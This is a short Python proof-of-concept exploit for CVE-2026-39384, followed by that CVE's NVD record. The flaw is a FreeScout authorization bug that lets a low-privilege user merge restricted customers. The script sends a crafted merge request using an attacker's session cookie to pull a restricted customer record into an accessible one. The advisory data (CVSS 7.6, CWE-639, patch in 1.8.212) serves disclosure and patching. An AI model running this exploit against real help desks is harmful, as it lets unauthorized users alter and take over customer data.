CVE-2026-39384

import requests # Target URL example target_url = "https://example.com/customers/merge" # Attacker's session cookie (Low privilege user) cookies = { "freescout_session": "attacker_session_cookie_here" } # Payload: Merge a restricted customer (id=999) into an accessible one (id=1) # The vulnerability is that 'limit_user_customer_visibility' is ignored payload = { "merge_from": 999, # Restricted customer ID "merge_into": 1 # Customer ID accessible to attacker } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Potential exploitation successful. Customer merged.") else: print("[-] Exploit failed or endpoint changed.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-39384", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:37.373", "lastModified": "2026-04-24T18:03:02.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to 1.8.212, FreeScout does not take the limit_user_customer_visibility parameter into account when merging customers. This vulnerability is fixed in 1.8.212."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freescout:freescout:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.212", "matchCriteriaId": "271EA06C-AC4D-4D59-AC95-E0563FEDA83D"}]}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/b395a1179117af5e2df704c6bad71feeb301b4ce", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-j6v9-22vq-53vh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-j6v9-22vq-53vh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}